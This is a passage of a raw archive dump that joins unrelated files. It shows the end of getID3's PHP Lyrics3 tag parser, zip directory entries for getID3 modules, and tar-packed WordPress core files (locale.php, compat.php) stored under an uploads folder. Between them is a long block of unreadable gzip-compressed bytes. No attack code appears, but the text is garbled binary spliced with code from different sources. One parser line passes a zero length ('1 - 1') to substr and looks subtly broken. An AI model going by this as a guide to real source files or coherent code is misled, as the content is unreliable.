		}

		$this->fseek($endoffset);
		if ($length <= 0) {
			return false;
		}
		$rawdata = $this->fread($length);

		$ParsedLyrics3 = array();

		$ParsedLyrics3['raw']['lyrics3version'] = $version;
		$ParsedLyrics3['raw']['lyrics3tagsize'] = $length;
		$ParsedLyrics3['tag_offset_start']      = $endoffset;
		$ParsedLyrics3['tag_offset_end']        = $endoffset + $length - 1;

		if (substr($rawdata, 0, 11) != 'LYRICSBEGIN') {
			if (strpos($rawdata, 'LYRICSBEGIN') !== false) {

				$this->warning('"LYRICSBEGIN" expected at '.$endoffset.' but actually found at '.($endoffset + strpos($rawdata, 'LYRICSBEGIN')).' - this is invalid for Lyrics3 v'.$version);
				$info['avdataend'] = $endoffset + strpos($rawdata, 'LYRICSBEGIN');
				$rawdata = substr($rawdata, strpos($rawdata, 'LYRICSBEGIN'));
				$length = strlen($rawdata);
				$ParsedLyrics3['tag_offset_start'] = $info['avdataend'];
				$ParsedLyrics3['raw']['lyrics3tagsize'] = $length;

			} else {

				$this->error('"LYRICSBEGIN" expected at '.$endoffset.' but found "'.substr($rawdata, 0, 11).'" instead');
				return false;

			}

		}

		switch ($version) {

			case 1:
				if (substr($rawdata, strlen($rawdata) - 9, 9) == 'LYRICSEND') {
					$ParsedLyrics3['raw']['LYR'] = trim(substr($rawdata, 11, strlen($rawdata) - 11 - 9));
					$this->Lyrics3LyricsTimestampParse($ParsedLyrics3);
				} else {
					$this->error('"LYRICSEND" expected at '.($this->ftell() - 11 + $length - 9).' but found "'.substr($rawdata, strlen($rawdata) - 9, 9).'" instead');
					return false;
				}
				break;

			case 2:
				if (substr($rawdata, strlen($rawdata) - 9, 9) == 'LYRICS200') {
					$ParsedLyrics3['raw']['unparsed'] = substr($rawdata, 11, strlen($rawdata) - 11 - 9 - 6); // LYRICSBEGIN + LYRICS200 + LSZ
					$rawdata = $ParsedLyrics3['raw']['unparsed'];
					while (strlen($rawdata) > 0) {
						$fieldname = substr($rawdata, 0, 3);
						$fieldsize = (int) substr($rawdata, 3, 5);
						$ParsedLyrics3['raw'][$fieldname] = substr($rawdata, 8, $fieldsize);
						$rawdata = substr($rawdata, 3 + 5 + $fieldsize);
					}

					if (isset($ParsedLyrics3['raw']['IND'])) {
						$i = 0;
						$flagnames = array('lyrics', 'timestamps', 'inhibitrandom');
						foreach ($flagnames as $flagname) {
							if (strlen($ParsedLyrics3['raw']['IND']) > $i++) {
								$ParsedLyrics3['flags'][$flagname] = $this->IntString2Bool(substr($ParsedLyrics3['raw']['IND'], $i, 1 - 1));
							}
						}
					}

					$fieldnametranslation = array('ETT'=>'title', 'EAR'=>'artist', 'EAL'=>'album', 'INF'=>'comment', 'AUT'=>'author');
					foreach ($fieldnametranslation as $key => $value) {
						if (isset($ParsedLyrics3['raw'][$key])) {
							$ParsedLyrics3['comments'][$value][] = trim($ParsedLyrics3['raw'][$key]);
						}
					}

					if (isset($ParsedLyrics3['raw']['IMG'])) {
						$imagestrings = explode("\r\n", $ParsedLyrics3['raw']['IMG']);
						foreach ($imagestrings as $key => $imagestring) {
							if (strpos($imagestring, '||') !== false) {
								$imagearray = explode('||', $imagestring);
								$ParsedLyrics3['images'][$key]['filename']     =                                $imagearray[0];
								$ParsedLyrics3['images'][$key]['description']  =                                (isset($imagearray[1]) ? $imagearray[1] : '');
								$ParsedLyrics3['images'][$key]['timestamp']    = $this->Lyrics3Timestamp2Seconds(isset($imagearray[2]) ? $imagearray[2] : '');
							}
						}
					}
					if (isset($ParsedLyrics3['raw']['LYR'])) {
						$this->Lyrics3LyricsTimestampParse($ParsedLyrics3);
					}
				} else {
					$this->error('"LYRICS200" expected at '.($this->ftell() - 11 + $length - 9).' but found "'.substr($rawdata, strlen($rawdata) - 9, 9).'" instead');
					return false;
				}
				break;

			default:
				$this->error('Cannot process Lyrics3 version '.$version.' (only v1 and v2)');
				return false;
		}


		if (isset($info['id3v1']['tag_offset_start']) && ($info['id3v1']['tag_offset_start'] <= $ParsedLyrics3['tag_offset_end'])) {
			$this->warning('ID3v1 tag information ignored since it appears to be a false synch in Lyrics3 tag data');
			unset($info['id3v1']);
			foreach ($info['warning'] as $key => $value) {
				if ($value == 'Some ID3v1 fields do not use NULL characters for padding') {
					unset($info['warning'][$key]);
					sort($info['warning']);
					break;
				}
			}
		}

		$info['lyrics3'] = $ParsedLyrics3;

		return true;
	}

	/**
	 * @param string $rawtimestamp
	 *
	 * @return int|false
	 */
	public function Lyrics3Timestamp2Seconds($rawtimestamp) {
		if (preg_match('#^\\[([0-9]{2}):([0-9]{2})\\]$#', $rawtimestamp, $regs)) {
			return (int) (((int) $regs[1] * 60) + (int) $regs[2]);
		}
		return false;
	}

	/**
	 * @param array $Lyrics3data
	 *
	 * @return bool
	 */
	public function Lyrics3LyricsTimestampParse(&$Lyrics3data) {
		$lyricsarray = explode("\r\n", $Lyrics3data['raw']['LYR']);
		$notimestamplyricsarray = array();
		foreach ($lyricsarray as $key => $lyricline) {
			$regs = array();
			$thislinetimestamps = array();
			while (preg_match('#^(\\[[0-9]{2}:[0-9]{2}\\])#', $lyricline, $regs)) {
				$thislinetimestamps[] = $this->Lyrics3Timestamp2Seconds($regs[0]);
				$lyricline = str_replace($regs[0], '', $lyricline);
			}
			$notimestamplyricsarray[$key] = $lyricline;
			if (count($thislinetimestamps) > 0) {
				sort($thislinetimestamps);
				foreach ($thislinetimestamps as $timestampkey => $timestamp) {
					if (isset($Lyrics3data['comments']['synchedlyrics'][$timestamp])) {
						// timestamps only have a 1-second resolution, it's possible that multiple lines
						// could have the same timestamp, if so, append
						$Lyrics3data['comments']['synchedlyrics'][$timestamp] .= "\r\n".$lyricline;
					} else {
						$Lyrics3data['comments']['synchedlyrics'][$timestamp] = $lyricline;
					}
				}
			}
		}
		$Lyrics3data['comments']['unsynchedlyrics'][0] = implode("\r\n", $notimestamplyricsarray);
		if (isset($Lyrics3data['comments']['synchedlyrics']) && is_array($Lyrics3data['comments']['synchedlyrics'])) {
			ksort($Lyrics3data['comments']['synchedlyrics']);
		}
		return true;
	}

	/**
	 * @param string $char
	 *
	 * @return bool|null
	 */
	public function IntString2Bool($char) {
		if ($char == '1') {
			return true;
		} elseif ($char == '0') {
			return false;
		}
		return null;
	}
}
PKE]**module.audio.dts.phpnuW+APKE]0YPP	*error_lognuW+APKE]Xݓݓ S;module.audio-video.quicktime.phpnuW+APKE]SnJJmodule.tag.apetag.phpnuW+APKE]
4LLImodule.audio.flac.phpnuW+APKE]%,ttyglicense.txtnuW+APKE]0@\\(mmodule.tag.id3v2.phpnuW+APKE]8-&62025/backup/v1/docs/swas/mxb/error_lognuW+APKE]r%..&J2025/backup/v1/docs/swas/mxb/index.phpnuW+APKE]+kooγmodule.audio-video.asf.phpnuW+APKE]Zh!"!"module.audio-video.riff.phpnuW+APKE]vgetid3.lib.phpnuW+APKE]Fmodule.audio.ogg.phpnuW+APKE]>offf
;q readme.txtnuW+APKE]ZO module.audio.mp3.phpnuW+APKE]ؙؙz"module.audio.ac3.phpnuW+APKE]/֋#module.audio-video.matroska.phpnuW+APKE]T6<6<
$getid3.phpnuW+APKE]hi::%module.tag.id3v1.phpnuW+APKE]Gii/&module.audio-video.flv.phpnuW+APKE]{//G&module.tag.lyrics3.phpnuW+APK&uploads/wyw/locale.php.tar000066600000004000152443022640011576 0ustar00home/cienp/public_html/inct-inovamed/wp-includes/locale.php000064400000000242152442710300020027 0ustar00<?php
/**
 * Locale API
 *
 * @package WordPress
 * @subpackage i18n
 * @since 1.2.0
 * @deprecated 4.7.0
 */

_deprecated_file( basename( __FILE__ ), '4.7.0' );
uploads/wyw/widgets.php.tar.gz000066600000036756152443022640012453 0ustar00}m{ܶ*
DҕVؖRIZ?ON]QrKr-7JsnD`0岼&E>_,gb2lf|MvOdu1țz\Wϟ>K>>?x~xCso򳬛.}<o{<+l~㗗ieOyYIgM10ӛyvULL]L2EsY.sUI9&K g1ż)ls_H:y.f7?*kSb
݇#=ذK,f,?$T,|h/%L󪼂,J)vik@8U>o2AV5d\e"wMeM7\(=&E6y
9zy^f#RF{ϳoYUdg3-|Q\3\/U~Q԰t,TR2ΎI9or~fM^?giEi|<@Pds7,[HUUv5;BL܍`DX舁%gY|Q 'e3iA;:HbĦk@tL@5~ 1
Kf,nRon~7@G1I6kw_<ū7{[h,_3;ϧY㫬\oZ_!?ʛ,BcCcUdɬ\Nw"/DEW&uUUwA	O+<D;a*Dt|̯37$CӟeH?C6OߏД6i`l}#mbdwjY75MiY
LEtRAdEH?>Ϧ<sfz_O
YmsG8$69?L@w~2EH8=6vȘpv5dViϱTޮy|oK	%8O-8@~W$dd~匄|߶%:?ϖFDkal/5RQIVq`yi1/{ !lqjJ\.=|H	W@Hb2()\\r4o,&a]Hf,8#6/ HYyMiirdMR>@ڠP:ɪtHag9[GpPpXD/#ဘ*
9XrvBT OՃy~QQ9e*Ͽ*ٙ/`-Xom8Wwd` Rx<d).
qT3&\R3۵9Y۝b
gs+27bLEzZTs:t@'@Y.,#LdnnlqvjWi#4E|WGbR?YVd3Jc8KDzVvEiLĝKZɦW4/ʬb^l{Z|̛Qf5Y\I~YΦ~mg7+zP\X\
yQՍ{ڳM
̂@,,fwݦ;2_b	FyςD_]1rW:[c;8«}rß|"pv2niiT_1>q܋#S/`yGCzo??il^|^V#XGƮhx7XMv1ϣ'nsR" __oqG󙖿Ҁ8S*yE™e8r>T434hu̴Yc3{ɥW-E==m;sَcz:dq9?xeغ,WyiӊA~IzŤ\IJL! $S|d>dg.\NZE/8eyKc \xN*oռ̞OIdM΢nZhYoٴ]d($loBf,jFHG/4@a;,(ϕa5-Uªᖛ[s%!n)vvliFhL888W5rAYY1=`}'oP(pyQ̐3hE'Zi"sbQV, [p"MM},Ob㚥k-t0!Crw&*|׬McXƲe?$-)
tP;f]sy@c,A#Z7Z2dw-Nx(l!Cu4@PI:#:WÑ}.%ĉ#CmIk7IUz1ga'6d~hnd ck-HMً_gkvL$_^A
YTWE԰\6eȊFFΞIzzS6?ةO{[C>*@0=D%ɯ@-IEW_ysi&S%gr5)rs@a^\CA'^_\f|9~E5evsWy1uZ|F,<V=e 1]X9tLt3>+˙I-ܥw75_xb
ΜrPzJ:CPG'?bX+;2ܺnnu̽-'7A	9ekj6(7
b*?G-CM&pۋCFI=i3bky~dVwLdͣm9䐃lȘ̊Ϸ5pb`hކ 0Y[ˍI'zzG0γYKZSThu1@Ǝ6N[ 0ya+=xbz.|v#6DOgD^84qm{)
zf<-a[f|]}wߎLj-KI;G4?a;9T{v|5GAdeC-
&yֹsĭUöb[1~
oG|I*1BϨ׀xo1q^Lآ&"Lg"j4TdRNb~cζ=E΃3TwW&a&p24DJ7)LZ6l1·pG"&綪nw pk&!GS}C~U&9Iп3ar/PǠcH'm:Y!}iQy!ȓ2&m8b?N!)e`rC>bU>]͗HenR*vb)%Y`̨h%=ciU$8`"VX?^֚!EFKR벺f?9wўh:MK>AOܴQ`g^O8#^Byx3?^F+ƻæ*&(>DdǀFw6evC2+7(w.XM	v	7?p-u0̛,΅D<6TW "4zZYqņ0hLr8|"[
ʔ
7"3+o@!1uE};S|VMV0"2_iv^Q_ӏg&qDÑqLLt_hӻ<;B8]pﰊoCκ0ԣ_q_Ip=:I4US'RERz5W,^8;m'v v1Z.O #a>fмnCPA3#(o9)`r+xI@st/
Y:K(*wLMʂ]Y!|$OfArXԂ\"Bliw?ʫܹ=V..or4'zu/p&2@B (eyDB]?U>S#1XjKG	5VJl#HPOP'	N$we{ςk,Wr$ðX`w-ER^`~-ڃ}	SQ_DE{\
#\ZoV>j߭Pe<37қ[-jy
OJ՛&Fgو[_ AÓgm"+OzP|
O86Q(E2!67-YU{Y71Sz_EP
'ztۈjx<YAs=	!P$sbcZ&.Z\?]e}|f6
(-IG/gQ}M1u		[ 7aQС`CLgG1*rh2/..ostCErxKXҐsBig+{2n(7iܺ5[Ialp|"~,*I\BANh-F37kME #`1Ezd0|͞VsswrwO72+m%	m%pcF.[K_c	$-&}e VXj+Hku6xXk-(GOGop0%	pL}`8_UڌW2WAsI}ș̌ZԢ~Ƣ~D}h(uRT_ٹZsnivdpEYѡbM=ru8Tj
[)ɚ;P/y;{'IɒDž8ÀS8‚Ad]5woY0tYNE^)Ԣ"W}7:1%oZpVvZ;n|UӋub&N$1 ~wI6$ҿ7tl\N7/8.'BS3_2oPiw;T6
`]'"$>N;Ά$Hő֚hK6NqR_;/n\ا6Yc'ƝC?K'&]8,:u+F:u4N1o=8bYaBWnS]e]Խ g
7%}{79=t⬧Ą獊^Qsv)56CkLGq&-GsvG6=
km/*R
l#E\:%Cg]KKI

q4
_	2&*Uё2DdFڧJɎA偅A":-{w_Rc[vdPɕye=^r8=fo{tDKOku(
y_f|Y
kj*DuF18oN<Iոg̚Rax$ڇlr;%sJa$XrIūoI(6g}>
5ԓ* *CO Bbҙqx0eQ.32laRm׎	W)_ۓ$gg>:"G(ArE;'Ń؏x<+X{GQ8<
w|,dV
_lpUaD۲>\Vf].=tߎ2b-͈Xp2ՀN)1YU.?EK0_^w<8+<G|f?zjzS^M7Bv{ 
Kk}GvUxH@BXty~k>N)׺[roS(;$}@݈PCKu}$1`.7p2yG]LE+Cf`<GƪzR̞qGdxӱ-he-"UyAJٔUpCb;vPA{B'bB9[E|@*a*%bfWYzNү#|y(;	0)PՊsAw(5yYOe+=}Dsj>%v
}'UMS{$5ZCǩqf:cu$>As	Y{S!y#h\ӄ.rEcO)X9)2l|&tRYk{ Pze[qpXʕ%nlD~DM#\*qFDKO ~`\bNw|{5_ߠw*\yCXyLOxc_8X|[Rl]U`*^*2W跃.ӥ
k1]{+<χQz-ԏb&TԫfVfN"G'wz#NZZfcku^_}^v3ڵ* sm
WͮFhp3;w;ó=JT('X'O{7&<,+$$\L,|U:>\L(,$gI::hߌs{
2!U+A3n~%Pz^~H2d!"y-W0/)9P~~AtC@f褡"0t$ܞRhEfn˿F$ my#S\ވtC3W"*JI}GhKQ)gy	@kK̗)׷xu?mw|),!F1]hP5á%ac_:ڟ
> :b\سN'azB6u\}1
N51z$͟S"3t!$ꑍY9F_]wNJ76x4#%H{,Xpt
v\͠g؊"5xDl+WfN`*I'DFEZS
#TP㬙{DPWy	9nm	dƔbkAV_~cw"rYc湌nSKHL$R]r\|>6e,YtwwQ|:SA]aԡ,5Żwau,/ߤuY^Fy5삽#hv;uN9v$2Psv/ilo5~;jRTZmsۛ[ox%/lJ5:'@?K0$uX넙l~ZX mwcjlDܟK!buGwM\FƕjE~k?k
7,U6Ũ=B$gGܘ5RY۶Cx4}?a6xOh=,$v|?NY|uv-v/:ClOK
e|ӥeB;!k:#]U+[g4 ~0pVH{/Dͬ-Ev77IdR#k\s;o	R]2SV)d} MP
M^'R
m*̒#}?X{f•P겡h=h{y]TpunOq2_(b㵪j>UM;H&BÉq9/jZL[Y@j3-u_
ZRo3=%D?x`{B+L<FSqs.]✋pJ/k"] 5LO\`V*NТ;=Wo>1}J&ϫ4:̳YNujA՘r
3ytbG#͠	Vّ
lL (ҏ@>̨J)!
]e1	,#whp:ѻ5
$v%#']&ܙX\ڵ3ͩ󇲤KJ	lޒCx]|H\(d)BZߋӎCak^S9"dWWbC
K†ćjD,(ƭWys^AyC~@nv?"UᤤJOpV0&=lN'>ŖKt7Cvy{X]g&t
La}A&0nik.߼x5Hm`u@nJ&u]9姇w%{Ra]%Aty.ߘ&#1v6}m&4.Tnw%/l'6--{X 7"Jy^Gvr/">+J0yOLKV:#0h;<(/Am>.(:	;8l]Y"'LG*sLVr~^\,ře}ֻj%u\atje%%kzr88}2-EV!`ӏSzQ(|`BǧJDm[#(A5Df!c
\GX	lБwaq7nөtN(#	܁uc?Gyp`غOIlMP)^|Qq=T%oS_DkK[ޖG_5P{%j=;\E2ި+QqщRT9{坩=rռqmgd=¡)ɰq8c`U\IjX:MͽW}$\.7sd&f3P, ޗ/%{i9[W?2K=UL9ײGeUw9j;'`8Avv\[Dx>K:ۘ]K'xM[]w/g`X[ɿ$qՋ 8/TހWxJ:#y$/iLw?%,FzjZ$ʥvn榩D᠅bwlVp&dBWU`gm뉹{{wrOBhD⍘ig|‘Bomlo8NMl%:xj^9O@뢙\jAe	
?O&SaJ{|uKN/$K1	wy&ɳС|UEICGRx|}QKd2Ez:mK*ى0-3,bg5dt4"&	Š%/ClI`>!/3ܱtSRć]n8]`{ѯLJ$2v011c}K?˳9̌>:O,ɶTa<-S	8)fal^Yݞ	d%vIdA"tZAW{;
C|FU9MQә»}<[ﰱwCJ+m*C-:EJw
cZ*=_DCӵ<]Xl`9b!}ɯ:qXW>w<.$~7rz]a1znc8TͶev+^iﲘN[-}L\s }h4EHص}E;g|kن&<
aj9݊ruԒG|2;3igTJu/$䇰nnp@è#NO-ø[F|)׃IT
pÔ3N2R Zk[AH|GJ
DLێk֋P-V_GHLܻ߇PWJt}~V6&4IDzZH]	[/ʑW$qznt;vf)/`ߟdY4PqsDl1Jiͫrj8%g';Dqnx'/o*Wj}*sv蕟扉禜qETRi3cF 	T!u>z8~@ʱ96BfݙKEX=":#{#qw~--ɛS,]kĵ{u5WDvk)Y?J$YF3IJ5C9ዴK<sPn]Grhy>L=8,.+6j@G0ҟM$pQ9%k\,>œ52Nʫr>F"Yދ"*aWR8Iz2Cl4
pY2Ϧ)9?=F~qfMPjv$*h\-D͛f6XAѺ;iUfWY3Hy";&4g-:<nSmm(+&b/D,튱ǿ)?ͮk\W=1u>Yh8)\ŧ0p
uv[
y&Oy&I\D<\.I(}:#=z.KD$s.Q$?
7?
u(S|lfoCF- ~K/jNwVҸ@KNdh)`s94R{#/d-1xDҗt.'_Jh**AFȞ/z^ēC	9({ňX@[; u??K^ܙ?_Q*ٱ$m]X,ٔ5^9v761Ily$e,ayxn8ڧwH؝)3BAhkrcCkǪ>+%bx)m
E+%'-mPщ.[?¡	vZu)f$"yO~J=AnlO2I5Mnɻ^Éu
mmֻ[:*Л)
-oo"M%j#Lγjr>#9px("%u꿭
m(_kP05Q5MO#@xL2$(ˏcC%tjc ɲ1qsӻ$|JK|}tۃHNav"{ePR[%ۭX)v5Zp/JhϨ+6+)s;U,.,F\#W=vܟlqEDbJQ\EhnAY۽AL.=rkl&vYk.jYZs'UË&1UH?Ʃ>٩\V*?ݴ/eezSOGNQqdfr9>;w*
<x5d2|}QPN7UW^Uec.߽\bWU6.lV;	 _c<	
;|Gd"Mpqh|p"5tFC-Bbm8ߌ%pwzT"=|\/n?.kպ ;.#HQ0܏=FO\<ՔȃűF?̍j+ܘdkoL0&ݘy(j8Xfh6?ZO~Hp:ԋ
N33Ix#&Ng$w]<9vSh%bV91?\8{0MXCLܙG?'=p&ށ/@87RGEu;w-p;k1})I=,Od8%{R	fӲ8?6)uՊ<Ήz`0/U4¨ʯ}9??~0٬@/ؠ3Rqc˕Cy|6+OI~qiS{ڮ)}l
_.(
1P}MACG9Cj^bꈆ&ſ7D?hGH/0<A5SSmP
0
)sYvp-v&6s7v6?Rao>y2u	&& 4!6τ?ە{ۑKGr[xO2Y,msYG@z}rNziæ3W{$O`IH("%%2KW܆=Ѽt^)Uyl,D#$aC.P?2$YsE/,/`рb^gi792NZD4!['fdfY
 zt('AjLNns\Rd]$aхS޴H%wo"|<nɔ(T`:ɉ?ӅYCyʊic[yJz0
DSt"ZQRtkp[~JHOmӽNߒMbt2_K]p@*@\0>53N陴^x!Qd&DF-ԌgY>C6ǂ	49f
c\=Lb&Q{6ŴW0V'6%;n
]m}OϧcbGԤ/.\1d0z]f(%pТCS_z׉Wj)1=aoʥ)Ο[3Yv3m[Nlc#8O>~"ylb`Ep*(G]lO	 0%%73ٯ$oWK[ݹ#x>+:mQXǎ@q&gΉmztU%Tg
vweŮ{'nEE7YAoX6wcy[!Qwb?NfL%\m#kSHM\	ظ69mf*/:F%t0t %k͋>8)8&~wя9atkUObX@'F.,ƥ{+:b?G?m$w+N@wdޫrP-%
JaBT}Zc@͐Q~#.`<AOf(w	nYj}qM[YDq#7gZȞ+f}3
9aHh\#%Y΁F} qY-tU('-DJ*
΅'&]=a0]F&PN*co7t
U^K҄n[t=gՈR=t[V"sG2|JH怮&wC<N;?GZP}%ғt_z!u_>vg"2ݳwMuޚ<{Ql_hӃW+F`2k0G%8N^2]˖4prY.,'}նB4Kp)6\:=j7{!V$+,t3O=P-i5B^cvD
W})UMOlt9-cϯ`H[Q&VL~ci^q/Mnݨz4!kelYyEJ/^3blV.~ΗQTP1vY9y=Qc
&Z9Uje4E!X3blJbƲ|MQ% IV^<
L]RCC`.|vf$|^eCUi!
daMU/J fQOuDU[[ȳD)`
Wuz
0sI-j*֞1d~ץcCJlYU85fw+V8F[璪κ5LsEA<R[_pdH7HK;%m[!yB{xr9I@*ްn!msw4LEem/wG}*v(^/a;ݍVP6ݚy}ж<<q6	7kԺn'ŊP)ѨbEp+ҘA.]DZRQV,Дס[F2"G˹5e\C,;R8X*oLl *:ۿ/3E}AX^%[m2pҪO)kђloid
aKƤMP]ZWΥ$~38ڦL0shEdXZ$tJJ&$PXHoOsgU$vbBwM>J=%es/^njwh/draRr1+(-Octj9\0XfR[*T%!㸭/Mӵ>0	/RSPt"wnn&xk/2Ҳr^0mdOLh`#I :/x_a,37@X
vh9`{6kl"Rꦨe
[}=a{_Ns(;8QYрX4&I)
P000
#4(r9\ᕱ|^[ʴc|y䢯5֪*ЌEd~cػϑj4$tudufÐSl^ƲPWx(&*ڑ{;Zkmr+8OE[br|PsNҒ>H8.϶Q.Xw;Y*PeXzFZQ=*UfQh4UǟoεE>XGګOSwƿ(]LBfq{F.fe@+{1p8VIg3ksUN3ʍ]5Wȸ͵]/FG [Ƽ,7}X@:,UT鬰}O2HmҬ뱹.^`|IZٴ̋<7xW?:8#5U6amͣ8h9xQd:ʕeR)nnflLA_ȣʚxԵ[}@y394"&XOߏ_0&r[|b(|,g?vyva
ohnv=xQ݊]vA(ΪRU+L#qwodPձUGcr#[K@n`޶<5<>}2fz	p>te!h'~y{,_KI"Z.%iCd6man2ϻY/62_`y'pߛu6.awry8;pw${V@ra'&`kj\lNP?CL<hOdSރ|ɥDŽ"N:lF`M@<$<z_ϯ?5uploads/wyw/compat.php.tar000066600000046000152443022640011630 0ustar00home/cienp/public_html/inct-inovamed/wp-includes/compat.php000064400000042646152442715760020110 0ustar00<?php
/**
 * WordPress implementation for PHP functions either missing from older PHP versions or not included by default.
 *
 * This file is loaded extremely early and the functions can be relied upon by drop-ins.
 * Ergo, please ensure you do not rely on external functions when writing code for this file.
 * Only use functions built into PHP or are defined in this file and have adequate testing
 * and error suppression to ensure the file will run correctly and not break websites.
 *
 * @package PHP
 * @access private
 */

// If gettext isn't available.
if ( ! function_exists( '_' ) ) {
	/**
	 * Compat function to mimic _(), an alias of gettext().
	 *
	 * @since 0.71
	 *
	 * @see https://php.net/manual/en/function.gettext.php
	 *
	 * @param string $message The message being translated.
	 * @return string
	 */
	function _( $message ) {
		return $message;
	}
}

/**
 * Returns whether PCRE/u (PCRE_UTF8 modifier) is available for use.
 *
 * @ignore
 * @since 4.2.2
 * @since 6.9.0 Deprecated the `$set` argument.
 * @access private
 *
 * @param bool $set Deprecated. This argument is no longer used for testing purposes.
 */
function _wp_can_use_pcre_u( $set = null ) {
	static $utf8_pcre = null;

	if ( isset( $set ) ) {
		_deprecated_argument( __FUNCTION__, '6.9.0' );
	}

	if ( isset( $utf8_pcre ) ) {
		return $utf8_pcre;
	}

	$utf8_pcre = true;
	set_error_handler(
		function ( $errno, $errstr ) use ( &$utf8_pcre ) {
			if ( str_starts_with( $errstr, 'preg_match():' ) ) {
				$utf8_pcre = false;
				return true;
			}

			return false;
		},
		E_WARNING
	);

	/*
	 * Attempt to compile a PCRE pattern with the PCRE_UTF8 flag. For
	 * systems lacking Unicode support this will trigger a warning
	 * during compilation, which the error handler will intercept.
	 */
	preg_match( '//u', '' );
	restore_error_handler();

	return $utf8_pcre;
}

/**
 * Indicates if a given slug for a character set represents the UTF-8 text encoding.
 *
 * A charset is considered to represent UTF-8 if it is a case-insensitive match
 * of "UTF-8" with or without the hyphen.
 *
 * Example:
 *
 *     true  === _is_utf8_charset( 'UTF-8' );
 *     true  === _is_utf8_charset( 'utf8' );
 *     false === _is_utf8_charset( 'latin1' );
 *     false === _is_utf8_charset( 'UTF 8' );
 *
 *     // Only strings match.
 *     false === _is_utf8_charset( [ 'charset' => 'utf-8' ] );
 *
 * `is_utf8_charset` should be used outside of this file.
 *
 * @ignore
 * @since 6.6.1
 *
 * @param string $charset_slug Slug representing a text character encoding, or "charset".
 *                             E.g. "UTF-8", "Windows-1252", "ISO-8859-1", "SJIS".
 *
 * @return bool Whether the slug represents the UTF-8 encoding.
 */
function _is_utf8_charset( $charset_slug ) {
	if ( ! is_string( $charset_slug ) ) {
		return false;
	}

	return (
		0 === strcasecmp( 'UTF-8', $charset_slug ) ||
		0 === strcasecmp( 'UTF8', $charset_slug )
	);
}

if ( ! function_exists( 'mb_substr' ) ) :
	/**
	 * Compat function to mimic mb_substr().
	 *
	 * @ignore
	 * @since 3.2.0
	 *
	 * @see _mb_substr()
	 *
	 * @param string      $string   The string to extract the substring from.
	 * @param int         $start    Position to being extraction from in `$string`.
	 * @param int|null    $length   Optional. Maximum number of characters to extract from `$string`.
	 *                              Default null.
	 * @param string|null $encoding Optional. Character encoding to use. Default null.
	 * @return string Extracted substring.
	 */
	function mb_substr( $string, $start, $length = null, $encoding = null ) { // phpcs:ignore Universal.NamingConventions.NoReservedKeywordParameterNames.stringFound
		return _mb_substr( $string, $start, $length, $encoding );
	}
endif;

/**
 * Internal compat function to mimic mb_substr().
 *
 * Only supports UTF-8 and non-shifting single-byte encodings. For all other encodings
 * expect the substrings to be misaligned. When the given encoding (or the `blog_charset`
 * if none is provided) isn’t UTF-8 then the function returns the output of {@see \substr()}.
 *
 * @ignore
 * @since 3.2.0
 *
 * @param string      $str      The string to extract the substring from.
 * @param int         $start    Character offset at which to start the substring extraction.
 * @param int|null    $length   Optional. Maximum number of characters to extract from `$str`.
 *                              Default null.
 * @param string|null $encoding Optional. Character encoding to use. Default null.
 * @return string Extracted substring.
 */
function _mb_substr( $str, $start, $length = null, $encoding = null ) {
	if ( null === $str ) {
		return '';
	}

	// The solution below works only for UTF-8; treat all other encodings as byte streams.
	if ( ! _is_utf8_charset( $encoding ?? get_option( 'blog_charset' ) ) ) {
		return is_null( $length ) ? substr( $str, $start ) : substr( $str, $start, $length );
	}

	$total_length = ( $start < 0 || $length < 0 )
		? _wp_utf8_codepoint_count( $str )
		: 0;

	$normalized_start = $start < 0
		? max( 0, $total_length + $start )
		: $start;

	/*
	 * The starting offset is provided as characters, which means this needs to
	 * find how many bytes that many characters occupies at the start of the string.
	 */
	$starting_byte_offset = _wp_utf8_codepoint_span( $str, 0, $normalized_start );

	$normalized_length = $length < 0
		? max( 0, $total_length - $normalized_start + $length )
		: $length;

	/*
	 * This is the main step. It finds how many bytes the given length of code points
	 * occupies in the input, starting at the byte offset calculated above.
	 */
	$byte_length = isset( $normalized_length )
		? _wp_utf8_codepoint_span( $str, $starting_byte_offset, $normalized_length )
		: ( strlen( $str ) - $starting_byte_offset );

	// The result is a normal byte-level substring using the computed ranges.
	return substr( $str, $starting_byte_offset, $byte_length );
}

if ( ! function_exists( 'mb_strlen' ) ) :
	/**
	 * Compat function to mimic mb_strlen().
	 *
	 * @ignore
	 * @since 4.2.0
	 *
	 * @see _mb_strlen()
	 *
	 * @param string      $string   The string to retrieve the character length from.
	 * @param string|null $encoding Optional. Character encoding to use. Default null.
	 * @return int String length of `$string`.
	 */
	function mb_strlen( $string, $encoding = null ) { // phpcs:ignore Universal.NamingConventions.NoReservedKeywordParameterNames.stringFound
		return _mb_strlen( $string, $encoding );
	}
endif;

/**
 * Internal compat function to mimic mb_strlen().
 *
 * Only supports UTF-8 and non-shifting single-byte encodings. For all other
 * encodings expect the counts to be wrong. When the given encoding (or the
 * `blog_charset` if none is provided) isn’t UTF-8 then the function returns
 * the byte-count of the provided string.
 *
 * @ignore
 * @since 4.2.0
 *
 * @param string      $str      The string to retrieve the character length from.
 * @param string|null $encoding Optional. Count characters according to this encoding.
 *                              Default is to consult `blog_charset`.
 * @return int Count of code points if UTF-8, byte length otherwise.
 */
function _mb_strlen( $str, $encoding = null ) {
	return _is_utf8_charset( $encoding ?? get_option( 'blog_charset' ) )
		? _wp_utf8_codepoint_count( $str )
		: strlen( $str );
}

if ( ! function_exists( 'utf8_encode' ) ) :
	if ( extension_loaded( 'mbstring' ) ) :
		/**
		 * Converts a string from ISO-8859-1 to UTF-8.
		 *
		 * @deprecated Use {@see \mb_convert_encoding()} instead.
		 *
		 * @since 6.9.0
		 *
		 * @param string $iso_8859_1_text Text treated as ISO-8859-1 (latin1) bytes.
		 * @return string Text converted into a UTF-8.
		 */
		function utf8_encode( $iso_8859_1_text ): string {
			_deprecated_function( __FUNCTION__, '6.9.0', 'mb_convert_encoding' );

			return mb_convert_encoding( $iso_8859_1_text, 'UTF-8', 'ISO-8859-1' );
		}

	else :
		/**
		 * @ignore
		 * @private
		 *
		 * @since 6.9.0
		 */
		function utf8_encode( $iso_8859_1_text ): string {
			_deprecated_function( __FUNCTION__, '6.9.0', 'mb_convert_encoding' );

			return _wp_utf8_encode_fallback( $iso_8859_1_text );
		}

	endif;
endif;

if ( ! function_exists( 'utf8_decode' ) ) :
	if ( extension_loaded( 'mbstring' ) ) :
		/**
		 * Converts a string from UTF-8 to ISO-8859-1.
		 *
		 * @deprecated Use {@see \mb_convert_encoding()} instead.
		 *
		 * @since 6.9.0
		 *
		 * @param string $utf8_text Text treated as UTF-8.
		 * @return string Text converted into ISO-8859-1.
		 */
		function utf8_decode( $utf8_text ): string {
